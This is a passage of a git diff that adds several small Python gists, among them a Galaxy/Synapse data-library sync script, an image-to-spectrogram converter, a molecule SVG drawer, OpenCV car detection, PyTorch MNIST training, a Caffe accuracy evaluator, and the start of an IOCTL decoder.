+        return req.text
+    
+
+class LibrarySync:
+    def __init__(self, remote_galaxy, library_name):
+        self.remote_galaxy = remote_galaxy
+        res = remote_galaxy.post("/api/search", {"query" : "select * from library where name='%s' and deleted=False" % (library_name)})
+        if 'error' in res:
+            raise Exception(res['error'])
+        library_id = None
+        for row in res['results']:
+            library_id = row['id']
+        if library_id is None:
+            lib_create_data = {'name':library_name}
+            library = remote_galaxy.post('/api/libraries', lib_create_data)
+            library_id = library['id']       
+        self.library_id = library_id
+        self.path_map = {}
+    
+    def get_library_folder_id(self, folder):
+        library_path = "/" + "/".join(folder)
+        if library_path not in self.path_map:
+            res = self.remote_galaxy.post("/api/search", {"query" : "select * from library_folder where library_path='%s' and parent_library_id='%s'" % (library_path, self.library_id)})
+            if 'error' in res:
+                raise Exception(res['error'])
+            id_value = None
+            for row in res['results']:
+                id_value = row['id']
+            if id_value is not None:
+                self.path_map[library_path] = id_value
+            else:
+                parentId = self.get_library_folder_id(folder[:-1])
+                if parentId is not None:
+                    create_request = { "create_type" : 'folder', 'folder_id' : parentId, 'name' : folder[-1] }
+                    res = self.remote_galaxy.post("/api/libraries/%s/contents" % (self.library_id), create_request)
+                    print "Created Folder:", res
+                    id_value = res[0]['id'][1:] #remove preceeding F (why do I have to do this?)
+                    self.path_map[library_path] = id_value
+                else:
+                    return None
+        return self.path_map[library_path]
+
+    def get_library_dataset_id(self, folder_id, dataset_name):
+        res = self.remote_galaxy.post("/api/search", {'query' : "select * from library_dataset where folder_id='%s' and name='%s'" % (folder_id, dataset_name)} )
+        if 'error' in res:
+            raise Exception(res['error'])
+        dataset_id = None
+        for row in res['results']:
+            dataset_id = row['id']
+        return dataset_id
+        
+    def library_paste_file(self, library_folder_id, name, meta, datapath):
+        data = {}
+        data['folder_id'] = library_folder_id
+        data['file_type'] = 'auto'
+        data['name'] = name
+        data['dbkey'] = ''
+        data['upload_option'] = 'upload_paths'
+        data['create_type'] = 'file'
+        data['link_data_only'] = 'link_to_files'
+        data['extended_metadata'] = meta                         
+        data['filesystem_paths'] = datapath
+        libset = self.remote_galaxy.post("/api/libraries/%s/contents" % self.library_id, data)
+        return libset
+
+    def item_rename(self, library_folder_id, item_id, name, info, message):
+            #rename the entry
+            #/library_common/ldda_edit_info?library_id=03501d7626bd192f&show_deleted=False&cntrller=library_admin&folder_id=7ca8f1b7f24e5a2d&use_panels=False
+            self.remote_galaxy.post_text( "/library_common/ldda_edit_info", 
+                {                   
+                    'name' : name,
+                    'message' : message,
+                    'info' : info 
+                }, 
+                {
+                    'show_deleted' : 'False',
+                    'cntrller' : 'library_admin',
+                    'folder_id' : library_folder_id,
+                    'id' : item_id, 
+                    'use_panels' : 'False',
+                     'library_id' : self.library_id, 
+                }
+            )
+
+
+def project_scan(syn, synapse_project, galaxy_library, base_path=[]):
+    ent = syn.getEntity(synapse_project)
+    cur_path = base_path + [ent['name']]
+    print "Entering", "/".join(cur_path)
+    for res in syn.query("select * from entity where parentId=='%s'" % (synapse_project))['results']:
+        if res['entity.nodeType'] in [ 0, 4 ]:
+            project_scan(syn, res['entity.id'], galaxy_library, cur_path)
+        elif res['entity.nodeType'] in [1, 16]:
+            new_dir = cur_path + [res['entity.name']]
+            library_folder_id = galaxy_library.get_library_folder_id(new_dir[1:])
+            print "Library Folder", "/" + "/".join(new_dir[1:]), library_folder_id
+            file_name = "%s.version_%s" % (res['entity.name'], res['entity.versionLabel'])
+            dataset_id = galaxy_library.get_library_dataset_id( library_folder_id, file_name )
+            if dataset_id is None:
+                try:
+                    ent = syn.downloadEntity(res['entity.id'])
+                    ann = syn.getAnnotations(ent)
+                    meta = dict(ann)
+                    del meta['uri']
+                    del meta['etag']
+                    for c in [ 'platform', 'disease', 'tissueType']:
+                        if c in ent:
+                            meta[c] = ent[c]
+                    print meta
+                    if 'cacheDir' in ent:
+                        file_path = os.path.join(ent['cacheDir'], ent['files'][0])
+                        new_path = os.path.join(ent['cacheDir'], file_name)
+                        print file_path, meta
+                        os.symlink(file_path, new_path)
+                        #paste the file path
+                        new_ent = galaxy_library.library_paste_file(library_folder_id, file_name, meta, new_path)
+                        #print galaxy_library.item_rename( library_folder_id, new_ent[0]['id'], file_name, res['entity.id'], "Downloaded from https://www.synapse.org/#!Synapse:" + res['entity.id'] )                        
+                        #print "File: %s/%s" % ("/".join(cur_path), res['entity.name'])
+                except Exception, e:
+                    print e
+            else:
+                print "Found", res['entity.name']
+            
+        elif res['entity.nodeType'] == 13:
+            #skip summaries
+            pass
+        else:
+            print res['entity.name'], res['entity.nodeType']
+            
+    
+
+def main(api_key, api_url, synapse_project):
+    syn = synapseclient.Synapse()
+    syn.login()
+    
+    remote_galaxy = RemoteGalaxy(api_url, api_key)
+
+    ent = syn.getEntity(synapse_project)
+    lsync = LibrarySync(remote_galaxy, ent['name'] )
+    
+    project_scan(syn, synapse_project, lsync)
+    
+
+
+if __name__ == '__main__':
+    try:
+        api_key = sys.argv[1]
+        api_url = sys.argv[2]
+        synapse_project = sys.argv[3]
+    except IndexError:
+        print 'usage: %s key url synapse_folder' % os.path.basename( sys.argv[0] )
+        sys.exit( 1 )
+    main(api_key, api_url, synapse_project)
\ No newline at end of file
diff --git a/hard-gists/b205bdf830c9f81e5fb6/._snippet.py b/hard-gists/b205bdf830c9f81e5fb6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b205bdf830c9f81e5fb6/._snippet.py differ
diff --git a/hard-gists/b205bdf830c9f81e5fb6/snippet.py b/hard-gists/b205bdf830c9f81e5fb6/snippet.py
new file mode 100644
index 00000000..4a8244a5
--- /dev/null
+++ b/hard-gists/b205bdf830c9f81e5fb6/snippet.py
@@ -0,0 +1,29 @@
+#!/usr/bin/python
+
+import cv2
+import numpy as np
+import wave
+import struct
+import sys
+
+# usage instructions:
+# ./image2spectrogram.py input.png
+# sox output.wav -n spectrogram -m -o output.png
+
+image = cv2.imread(sys.argv[1], flags=cv2.CV_LOAD_IMAGE_GRAYSCALE)
+height, width = image.shape
+samples = []
+
+for i in range(0, width):
+    column = image[:, i]
+    flipped = np.flipud(column)
+    window = np.hstack((flipped[:-1], column))
+    # FIXME need to check range of np.real(), should be [-2**7,+2**7)
+    ifft = np.int32(2**16 + 2**23 * np.real(np.fft.ifft(window)))
+    for sample in ifft:
+        samples.append(struct.pack('i', sample))
+
+output = wave.open('output.wav', 'w')
+output.setparams((1, 4, 44100, 0, 'NONE', 'not compressed'))
+output.writeframes(''.join(samples))
+output.close()
\ No newline at end of file
diff --git a/hard-gists/b26bc0333cc18660d07baeb923ce9021/._snippet.py b/hard-gists/b26bc0333cc18660d07baeb923ce9021/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b26bc0333cc18660d07baeb923ce9021/._snippet.py differ
diff --git a/hard-gists/b26bc0333cc18660d07baeb923ce9021/snippet.py b/hard-gists/b26bc0333cc18660d07baeb923ce9021/snippet.py
new file mode 100644
index 00000000..c588ead9
--- /dev/null
+++ b/hard-gists/b26bc0333cc18660d07baeb923ce9021/snippet.py
@@ -0,0 +1,250 @@
+###############################################################################
+# A script to easily generate nice-looking molecules for educational purposes #
+# the drawings are based on the following figure from wikipedia:              #
+# https://en.wikipedia.org/wiki/Amino_acid#/media/File:AminoAcidball.svg      #
+# Written by Peleg Bar Sapir                                                  #
+# TODO: scaling via transformation matrix instead of scalar                   #
+###############################################################################
+
+import os
+import argparse
+import numpy as np
+import svgwrite
+from rdkit import Chem
+from rdkit import Geometry
+from rdkit.Chem import AllChem
+from rdkit.Chem import Draw
+
+svg_atoms = {}
+svg_atoms[1] = ['H', 1.00, 'rgb(182,225,255)', 'rgb(176,248,251)', 'black', .01]
+svg_atoms[5] = ['B', 1.30, 'rgb(255,158,158)', 'rgb(255,179,179)', 'black', .02]
+svg_atoms[6] = ['C', 1.23, 'rgb(128,128,128)', 'rgb(179,179,179)', 'black', .0]
+svg_atoms[7] = ['N', 1.54, 'rgb(128,000,128)', 'rgb(255,000,255)', 'white', .0]
+svg_atoms[8] = ['O', 1.77, 'rgb(212,000,000)', 'rgb(255,085,085)', 'black', .0]
+svg_atoms[9] = ['F', 1.80, 'rgb(098,146,000)', 'rgb(143,160,085)', 'black', .05]
+svg_atoms[14] = ['Si',1.85, 'rgb(215,254,220)', 'rgb(200,200,200)', 'black', -.05]
+svg_atoms[15] = ['P', 1.95, 'rgb(010,154,000)', 'rgb(046,189,070)', 'black', .05]
+svg_atoms[16] = ['S', 2.15, 'rgb(238,206,000)', 'rgb(253,196,000)', 'black', .0]
+svg_atoms[17] = ['Cl',2.25, 'rgb(140,205,000)', 'rgb(143,200,085)', 'black', -.1]
+svg_atoms[35] = ['Br',2.35, 'rgb(230,085,000)', 'rgb(243,160,085)', 'black', -.1]
+svg_atoms[53] = ['I', 2.55, 'rgb(175,000,205)', 'rgb(215,000,165)', 'black', .1]
+
+partial_charge = {}
+partial_charge[-3] = 'rgb(000,0,255)'
+partial_charge[-2] = 'rgb(050,0,255)'
+partial_charge[-1] = 'rgb(100,0,255)'
+partial_charge[1] = 'rgb(255,0,100)'
+partial_charge[2] = 'rgb(255,0,050)'
+partial_charge[3] = 'rgb(255,2,000)'
+
+bond_type = {'SINGLE':1, 'DOUBLE':2, 'TRIPLE':3}
+
+def distance(v1, v2):
+    return np.sqrt((v2[0]-v1[0])**2 + (v2[1]-v1[1])**2)
+
+def get_angle(v1, v2):
+    return np.arctan2(v2[1]-v1[1], v2[0]-v1[0])
+
+def create_rotate_matrix(angle):
+    return np.array([[np.cos(angle), -np.sin(angle)],
+                     [np.sin(angle),  np.cos(angle)]])
+
+def normalized(vec):
+    l = np.linalg.norm(vec)
+    return vec / l
+
+def perp_2dvec(vec):
+    x_new, y_new = -1.0*vec[1], vec[0]
+    return normalized(np.array([x_new, y_new]))
+
+def scale_rotate_reflect(pos_list, centre, scale_factor, distance_factor, rotate_angle, reflect_angle):
+    c_rot, s_rot = np.cos(rotate_angle), np.sin(rotate_angle)
+    rotation = np.matrix([[c_rot, -s_rot],
+                          [s_rot, +c_rot]])
+
+    if reflect_angle is not None:
+        c_ref, s_ref = np.cos(reflect_angle), np.sin(reflect_angle)
+        l = np.array([c_ref, s_ref])
+        reflection = np.matrix([[l[0]**2 - l[1]**2, 2*l[0]*l[1]],
+                                [2*l[0]*l[1],       l[1]**2 - l[0]**2]])
+    else:
+        reflection = np.identity(2)
+    scale = scale_factor * distance_factor * np.identity(2)
+    transformation = np.dot(scale, np.dot(rotation, reflection))
+
+    n = len(pos_list[0,:])
+
+    # Horrible for loop, because we want to mutate
+    # elements in list
+    for i in range(n):
+        vec = np.array([pos_list[0,i], pos_list[1,i]])
+        vec = vec - centre
+        vec = np.dot(transformation, vec)
+        vec = vec + centre
+        vec = np.asarray(vec).reshape(-1)
+        pos_list[:,i] = vec
+
+    return pos_list
+
+def transform(pos_list, scale_factor, distance_factor, rotate_angle, reflect_angle, W, H):
+    centre = [(max(pos_list[0,:])-min(pos_list[0,:]))/2,
+              (max(pos_list[1,:])-min(pos_list[1,:]))/2]
+
+    pos_list = scale_rotate_reflect(pos_list, centre, scale_factor, distance_factor, rotate_angle, reflect_angle)
+
+    Xs, Ys = pos_list[0,:], pos_list[1,:]
+    minX, minY, maxX, maxY = min(Xs), min(Ys), max(Xs), max(Ys)
+    W, H = maxX - minX, maxY - minY
+    N = np.shape(pos_list)[1]
+    pos_list[0,:] = (pos_list[0,:] - np.array(N*[minX]))
+    pos_list[1,:] = (pos_list[1,:] - np.array(N*[minY]))
+
+    return pos_list, centre, W, H
+
+def svg_draw_atom(canvas, scale, atomic_num, pos, charge):
+    constants = svg_atoms[atomic_num]
+    [element, rad, main_color, grad_color, font_color, font_xoffset] = constants[:6]
+    rad = rad*scale/3.0
+
+    if charge:
+        charge_blur = canvas.defs.add(canvas.filter())
+        charge_blur.feGaussianBlur(stdDeviation=3)
+        cloud = canvas.add(canvas.g(filter=charge_blur.get_funciri()))
+        cloud.add(canvas.ellipse(center=(pos[0], pos[1]),
+                                 r = (rad+5, rad+5),
+                                 fill = partial_charge[charge]))
+
+    gradients = [
+                 {
+                  'grad': canvas.defs.add(canvas.linearGradient((0,0), (0,1))),
+                  'offset': [1.0, 1.0, 1.0],
+                  'color': 3*[main_color],
+                  'opacity': [1.0, 1.0, 1.0],
+                  'position': (pos[0], pos[1]),
+                  'radius': (rad, rad)
+                 },
+                 {
+                  'grad': canvas.defs.add(canvas.linearGradient((0,0), (0,1))),
+                  'offset': [.0, .85, 1.0],
+                  'color': 3*['white'],
+                  'opacity': [1.0, .0, .0],
+                  'position': (pos[0], pos[1]-rad/2),
+                  'radius': (rad/1.5, rad/3)
+                 },
+                 {
+                  'grad': canvas.defs.add(canvas.linearGradient((0,0), (0,1))),
+                  'offset': [.0, .6, 1.0],
+                  'color': 2*['white'] + [grad_color],
+                  'opacity': [.0, .0, 1.0],
+                  'position': (pos[0], pos[1]+rad/2),
+                  'radius': (rad/2, rad/2.5)
+                 }
+                ]
+    for g in gradients:
+        for i in range(3):
+            g['grad'].add_stop_color(offset=g['offset'][i], color=g['color'][i], opacity=g['opacity'][i])
+        canvas.add(canvas.ellipse(center = g['position'],
+                                  r = g['radius'],
+                                  fill = g['grad'].get_paint_server()
+                                 ))
+
+    canvas.add(canvas.text(element,
+                           insert=(pos[0]-scale/5.0+font_xoffset*scale, pos[1]+scale/5.0),
+                           font_family = 'Arial',
+                           font_size = scale/2.0,
+                           font_weight = 'bold',
+                           fill = font_color))
+
+def svg_draw_bond(canvas, start, end, bond_type, scale_factor):
+    dashed = int(np.ceil(bond_type)) * [.0]
+    if bond_type == 1.5:
+        dashed = [.05, .0]
+    points_by_type = {
+                      1:   [.0],
+                      1.5: [-.1*scale_factor, .1*scale_factor],
+                      2:   [-.1*scale_factor, .1*scale_factor],
+                      3:   [-.15*scale_factor, .0, .15*scale_factor]
+                     }
+    points = points_by_type[bond_type]
+
+    angle = get_angle(start,end) - .5*np.pi
+    bond_length = distance(start, end)
+    rotate = create_rotate_matrix(angle)
+    lines = [{'start': np.zeros(2),
+              'end': np.array([.0, bond_length]),
+              'point': p,
+              'dash': d
+             } for p,d in zip(points, dashed)]
+    move_line = perp_2dvec (rotate.dot (lines[0]['end']))
+    color_lines = [
+                   {'color': 'rgb(77,77,77)', 'param': .1},
+                   {'color': 'rgb(156,156,156)', 'param': .025}
+                  ]
+
+    for line in lines:
+        line['start'] += line['point']*move_line + start
+        line['end'] = rotate.dot(line['end']) + line['point']*move_line + start
+        for color_line in color_lines:
+            canvas.add(canvas.line(start = line['start'],
+                                   end = line['end'],
+                                   stroke = color_line['color'],
+                                   stroke_dasharray = [line['dash']*scale_factor, line['dash']*scale_factor],
+                                   stroke_width = color_line['param']*scale_factor))
+
+# Parsing command line arguments
+parser = argparse.ArgumentParser (description="Generates a nice molecule SVG from SMILES")
+parser.add_argument ('-m','--molecule', help='Input SMILES', required=True)
+parser.add_argument ('-o','--output', help='Output name', default='mol.svg', required=False)
+parser.add_argument ('-s','--scale', help='Scaling factor', default=50.0, required=False)
+parser.add_argument ('-l','--distance', help='Atom-distace scaling factor', default=1., required=False)
+parser.add_argument ('-rot','--rotate', help='Rotating angle (degrees)', default=0.0, required=False)
+parser.add_argument ('-ref','--reflect', help='Reflection angle (degrees)', required=False)
+parser.add_argument ('-d','--display', help='Display molecule', nargs='?', const=True, default='', required=False)
+parser.add_argument ('-i','--inkscape', help='Display molecule in Inkscape', nargs='?', const=True, default='', required=False)
+parser.parse_args()
+args = vars (parser.parse_args())
+
+# Creating molecular coordinates
+m = Chem.MolFromSmiles(args['molecule'])
+m = AllChem.AddHs(m, False, False)
+confID = AllChem.Compute2DCoords(m, False, True)
+conf = m.GetConformer(confID)
+AllChem.WedgeMolBonds(m, conf)
+N = m.GetNumAtoms()
+
+# Getting all atomic coordinates and transforming
+scale = float(args['scale'])
+distance_factor = float(args['distance'])
+rotate_angle = np.radians(float(args['rotate']))
+reflect_angle = None
+if args['reflect']:
+    reflect_angle = np.radians(float(args['reflect']))
+element = []
+pos = np.zeros((2, N))
+width, height = .0, .0
+for i in range(N):
+    element.append(m.GetAtomWithIdx(i).GetAtomicNum())
+    pos[0,i] = m.GetConformer().GetAtomPosition(i).x
+    pos[1,i] = m.GetConformer().GetAtomPosition(i).y
+
+# All together
+pos, centre, width, height = transform(pos, scale, distance_factor, rotate_angle,
+                                       reflect_angle, width, height)
+
+# Drawing bonds then atoms
+canvas = svgwrite.Drawing(filename=args['output']+'.svg', size=(width, height), debug=True)
+for bond in m.GetBonds():
+    begin = bond.GetBeginAtomIdx()
+    end = bond.GetEndAtomIdx()
+    svg_draw_bond(canvas, pos[:,begin], pos[:,end], bond.GetBondTypeAsDouble(), scale)
+for i in range(m.GetNumAtoms()):
+    svg_draw_atom(canvas, scale, element[i], pos[:,i], m.GetAtomWithIdx(i).GetFormalCharge())
+canvas.save()
+
+# Displaying if asked
+if args['display']:
+    os.system('eog ' + args['output'] + '.svg')
+
+# Display in Inkscape (temp!!)
+if args['inkscape']:
+    os.system('inkscape ' + args['output'] + '.svg')
diff --git a/hard-gists/b26db61d8bde30b8a88451615105da7a/._snippet.py b/hard-gists/b26db61d8bde30b8a88451615105da7a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b26db61d8bde30b8a88451615105da7a/._snippet.py differ
diff --git a/hard-gists/b26db61d8bde30b8a88451615105da7a/snippet.py b/hard-gists/b26db61d8bde30b8a88451615105da7a/snippet.py
new file mode 100644
index 00000000..323d74f8
--- /dev/null
+++ b/hard-gists/b26db61d8bde30b8a88451615105da7a/snippet.py
@@ -0,0 +1,107 @@
+import base64 as b64
+import numpy as np
+import cv2
+import matplotlib.pyplot as plt
+from ipywidgets import interact, interactive, fixed
+from IPython.display import Image, display
+import ipywidgets as widgets
+from itertools import tee, izip
+
+WINDOW_SIZE = 41 # size of window to use when computing averages. Endpoint images outside 
+                 # window range are not analyzed
+
+def convert_media_to_image(media):
+    arr = np.asarray(bytearray(b64.b64decode(media["__data__"])), dtype=np.uint8)
+    return cv2.imdecode(arr,-1)
+
+def window(iterable, size=3):
+    iters = tee(iterable, size)
+    for i in xrange(1, size):
+        for each in iters[i:]:
+            next(each, None)
+    return izip(*iters)
+
+def moving_averages(sequence, winsize=51):
+    avgs = []
+    segshape = list(sequence[0].shape)
+    segshape.append(winsize)
+    for segment in window(sequence, size=winsize):
+        avg = np.zeros(segshape)
+        for idx, im in enumerate(segment):
+            avg[:,:,:,idx] = im
+        avg = np.uint8(np.average(avg, axis=3))
+        avgs.append(cv2.GaussianBlur(cv2.merge([avg[:,:,0], avg[:,:,1], 
+                                                avg[:,:,2]]), (5,5), 2))
+    return avgs
+
+def display_image(image):
+    _, png_image = cv2.imencode(".png", image)
+    display(Image(data=png_image.tostring()))
+
+def get_struct(size):
+    return cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (size, size))
+    
+def raw_edges(image, hmin=25, hmax=100):
+    im = image.copy()
+    edges = cv2.Canny(im, hmin, hmax)
+    return edges
+
+def dilate_edges(edges, image):  
+    _edges = edges
+    dst = image.copy()
+    contours, _ = cv2.findContours(_edges, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
+    cv2.drawContours(dst, contours, -1, (255,255,255))
+    return dst
+
+def binary_mask(im, thresh=0, val=255):
+    imgray = cv2.cvtColor(im, cv2.COLOR_RGB2GRAY)
+    th, binary = cv2.threshold(imgray, thresh, val, cv2.THRESH_BINARY)
+    return binary
+
+def open_and_close(binary, kopen, kclose, iteropen=1, iterclose=1):
+    opening = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kopen, iteropen) 
+    closing = cv2.morphologyEx(opening, cv2.MORPH_CLOSE, kclose, iterclose)
+    return closing
+
+def get_contours(im, min_area=0, max_area=None):
+    _im = im.copy()
+    contours, _ = cv2.findContours(_im, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
+    areas = [cv2.contourArea(c) for c in contours]
+    if max_area is None:
+        return [c for c, a in zip(contours, areas) if min_area <= a]
+    return [c for c, a in zip(contours, areas) if min_area <= a <= max_area]
+    
+def fit_contours(contours):
+    return [cv2.fitEllipse(c) for c in contours]
+
+def detect_objects(src, diff, blursize=(3,3)):
+    image = cv2.GaussianBlur(diff, blursize, 1)
+    cimage = image.copy()
+    cimage = cv2.medianBlur(cimage[:690, :700, :], 3) #crop ROI
+    edges = raw_edges(cimage, hmin=50, hmax=150)
+    dilated = dilate_edges(edges, cimage)
+    binary = binary_mask(dilated, 65, 255)
+    morphed = open_and_close(binary, get_struct(1), get_struct(5), iterclose=2)
+#     morphed = cv2.morphologyEx(morphed, cv2.MORPH_DILATE, 5)
+    contours = get_contours(morphed, min_area=300)
+    return fit_contours(contours), dilated, morphed
+
+# ------------------------------------------------------------------------
+# NOTE: Unless changing window size and/or data range, it is wise to comment this 
+# section out after an initial execution as these lines can be computationally expensive 
+winsize = WINDOW_SIZE
+images = [convert_media_to_image(rec['media']) for oid, rec in data[100:200]]
+imdiffs = [cv2.absdiff(images[idx + (winsize-1)/2], avg) 
+           for idx, avg in enumerate(moving_averages(images, winsize=winsize))]
+# ------------------------------------------------------------------------
+
+@interact(idx=widgets.IntSlider(min=0,max=len(imdiffs)-1,step=1,value=0))
+def display_objects(idx):
+    _idx = (winsize -1) /2 + idx
+    ellipses, dilated, morphed = detect_objects(images[_idx], imdiffs[idx], blursize=(3,3))
+    for e in ellipses:
+        cv2.ellipse(images[_idx], e, (255,255,0), 1)
+    print "Detected %i Cars" % len(ellipses)
+    display_image(images[_idx])
+#     display_image(dilated)
+#     display_image(morphed)
\ No newline at end of file
diff --git a/hard-gists/b27cdbff68870418bdb8cefa86a2d558/._snippet.py b/hard-gists/b27cdbff68870418bdb8cefa86a2d558/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b27cdbff68870418bdb8cefa86a2d558/._snippet.py differ
diff --git a/hard-gists/b27cdbff68870418bdb8cefa86a2d558/snippet.py b/hard-gists/b27cdbff68870418bdb8cefa86a2d558/snippet.py
new file mode 100644
index 00000000..ce8dd3ed
--- /dev/null
+++ b/hard-gists/b27cdbff68870418bdb8cefa86a2d558/snippet.py
@@ -0,0 +1,95 @@
+import torch
+import torch.nn as nn
+from torch.autograd import Variable
+import torchvision.datasets as dset
+import torchvision.transforms as transforms
+import torch.nn.functional as F
+import torch.optim as optim
+## load mnist dataset
+root = './data'
+download = False
+trans = transforms.Compose([transforms.ToTensor(), transforms.Normalize((0.5,), (1.0,))])
+train_set = dset.MNIST(root=root, train=True, transform=trans, download=download)
+test_set = dset.MNIST(root=root, train=False, transform=trans)
+
+batch_size = 128
+kwargs = {'num_workers': 1, 'pin_memory': True}
+train_loader = torch.utils.data.DataLoader(
+                 dataset=train_set,
+                 batch_size=batch_size,
+                 shuffle=True, **kwargs)
+test_loader = torch.utils.data.DataLoader(
+                dataset=test_set,
+                batch_size=batch_size,
+                shuffle=False, **kwargs)
+
+print '==>>> total trainning batch number: {}'.format(len(train_loader))
+print '==>>> total testing batch number: {}'.format(len(test_loader))
+
+## network
+class MLPNet(nn.Module):
+    def __init__(self):
+        super(MLPNet, self).__init__()
+        self.fc1 = nn.Linear(28*28, 500)
+        self.fc2 = nn.Linear(500, 256)
+        self.fc3 = nn.Linear(256, 10)
+        self.ceriation = nn.CrossEntropyLoss()
+    def forward(self, x, target):
+        x = x.view(-1, 28*28)
+        x = F.relu(self.fc1(x))
+        x = F.relu(self.fc2(x))
+        x = F.relu(self.fc3(x))
+        loss = self.ceriation(x, target)
+        return x, loss
+    def name(self):
+        return 'mlpnet'
+
+class LeNet(nn.Module):
+    def __init__(self):
+        super(LeNet, self).__init__()
+        self.conv1 = nn.Conv2d(1, 20, 5, 1)
+        self.conv2 = nn.Conv2d(20, 50, 5, 1)
+        self.fc1 = nn.Linear(4*4*50, 500)
+        self.fc2 = nn.Linear(500, 10)
+        self.ceriation = nn.CrossEntropyLoss()
+    def forward(self, x, target):
+        x = self.conv1(x)
+        x = F.max_pool2d(x, 2, 2)
+        x = F.relu(x)
+        x = self.conv2(x)
+        x = F.max_pool2d(x, 2, 2)
+        x = F.relu(x)
+        x = x.view(-1, 4*4*50)
+        x = self.fc1(x)
+        x = self.fc2(x)
+        loss = self.ceriation(x, target)
+        return x, loss
+    def name(self):
+        return 'lenet'
+## training
+model = MLPNet().cuda()
+
+optimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.9)
+for epoch in xrange(10):
+    # trainning
+    for batch_idx, (x, target) in enumerate(train_loader):
+        optimizer.zero_grad()
+        x, target = Variable(x.cuda()), Variable(target.cuda())
+        _, loss = model(x, target)
+        loss.backward()
+        optimizer.step()
+        if batch_idx % 100 == 0:
+            print '==>>> epoch: {}, batch index: {}, train loss: {:.6f}'.format(epoch, batch_idx, loss.data[0])
+    # testing
+    correct_cnt, ave_loss = 0, 0
+    for batch_idx, (x, target) in enumerate(test_loader):
+        x, target = Variable(x.cuda(), volatile=True), Variable(target.cuda(), volatile=True)
+        score, loss = model(x, target)
+        _, pred_label = torch.max(score.data, 1)
+        correct_cnt += (pred_label == target.data).sum()
+        ave_loss += loss.data[0]
+    accuracy = correct_cnt*1.0/len(test_loader)/batch_size
+    ave_loss /= len(test_loader)
+    print '==>>> epoch: {}, test loss: {:.6f}, accuracy: {:.4f}'.format(epoch, ave_loss, accuracy)
+
+torch.save(model.state_dict(), model.name())
diff --git a/hard-gists/b2af7d980eb217a0af07/._snippet.py b/hard-gists/b2af7d980eb217a0af07/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b2af7d980eb217a0af07/._snippet.py differ
diff --git a/hard-gists/b2af7d980eb217a0af07/snippet.py b/hard-gists/b2af7d980eb217a0af07/snippet.py
new file mode 100644
index 00000000..e2d918e5
--- /dev/null
+++ b/hard-gists/b2af7d980eb217a0af07/snippet.py
@@ -0,0 +1,100 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+# Author: Axel Angel, copyright 2015, license GPLv3.
+
+import sys
+import caffe
+import numpy as np
+import lmdb
+import argparse
+from collections import defaultdict
+
+def flat_shape(x):
+    "Returns x without singleton dimension, eg: (1,28,28) -> (28,28)"
+    return x.reshape(filter(lambda s: s > 1, x.shape))
+
+def lmdb_reader(fpath):
+    import lmdb
+    lmdb_env = lmdb.open(fpath)
+    lmdb_txn = lmdb_env.begin()
+    lmdb_cursor = lmdb_txn.cursor()
+
+    for key, value in lmdb_cursor:
+        datum = caffe.proto.caffe_pb2.Datum()
+        datum.ParseFromString(value)
+        label = int(datum.label)
+        image = caffe.io.datum_to_array(datum).astype(np.uint8)
+        yield (key, flat_shape(image), label)
+
+def leveldb_reader(fpath):
+    import leveldb
+    db = leveldb.LevelDB(fpath)
+
+    for key, value in db.RangeIter():
+        datum = caffe.proto.caffe_pb2.Datum()
+        datum.ParseFromString(value)
+        label = int(datum.label)
+        image = caffe.io.datum_to_array(datum).astype(np.uint8)
+        yield (key, flat_shape(image), label)
+
+def npz_reader(fpath):
+    npz = np.load(fpath)
+
+    xs = npz['arr_0']
+    ls = npz['arr_1']
+
+    for i, (x, l) in enumerate(np.array([ xs, ls ]).T):
+        yield (i, x, l)
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--proto', type=str, required=True)
+    parser.add_argument('--model', type=str, required=True)
+    group = parser.add_mutually_exclusive_group(required=True)
+    group.add_argument('--lmdb', type=str, default=None)
+    group.add_argument('--leveldb', type=str, default=None)
+    group.add_argument('--npz', type=str, default=None)
+    args = parser.parse_args()
+
+    count = 0
+    correct = 0
+    matrix = defaultdict(int) # (real,pred) -> int
+    labels_set = set()
+
+    net = caffe.Net(args.proto, args.model, caffe.TEST)
+    caffe.set_mode_cpu()
+    print "args", vars(args)
+    if args.lmdb != None:
+        reader = lmdb_reader(args.lmdb)
+    if args.leveldb != None:
+        reader = leveldb_reader(args.leveldb)
+    if args.npz != None:
+        reader = npz_reader(args.npz)
+
+    for i, image, label in reader:
+        image_caffe = image.reshape(1, *image.shape)
+        out = net.forward_all(data=np.asarray([ image_caffe ]))
+        plabel = int(out['prob'][0].argmax(axis=0))
+
+        count += 1
+        iscorrect = label == plabel
+        correct += (1 if iscorrect else 0)
+        matrix[(label, plabel)] += 1
+        labels_set.update([label, plabel])
+
+        if not iscorrect:
+            print("\rError: i=%s, expected %i but predicted %i" \
+                    % (i, label, plabel))
+
+        sys.stdout.write("\rAccuracy: %.1f%%" % (100.*correct/count))
+        sys.stdout.flush()
+
+    print(", %i/%i corrects" % (correct, count))
+
+    print ""
+    print "Confusion matrix:"
+    print "(r , p) | count"
+    for l in labels_set:
+        for pl in labels_set:
+            print "(%i , %i) | %i" % (l, pl, matrix[(l,pl)])
diff --git a/hard-gists/b3143dde185cecda7c1dee7ffbce5d2c/._snippet.py b/hard-gists/b3143dde185cecda7c1dee7ffbce5d2c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b3143dde185cecda7c1dee7ffbce5d2c/._snippet.py differ
diff --git a/hard-gists/b3143dde185cecda7c1dee7ffbce5d2c/snippet.py b/hard-gists/b3143dde185cecda7c1dee7ffbce5d2c/snippet.py
new file mode 100644
index 00000000..50a3dbee
--- /dev/null
+++ b/hard-gists/b3143dde185cecda7c1dee7ffbce5d2c/snippet.py
@@ -0,0 +1,211 @@
+############################################################################################
+##
+## Quick IOCTL Decoder!
+##
+## All credit for actual IOCTL decode logic:
+##      http://www.osronline.com/article.cfm?article=229
+## 
+##
+## To install:
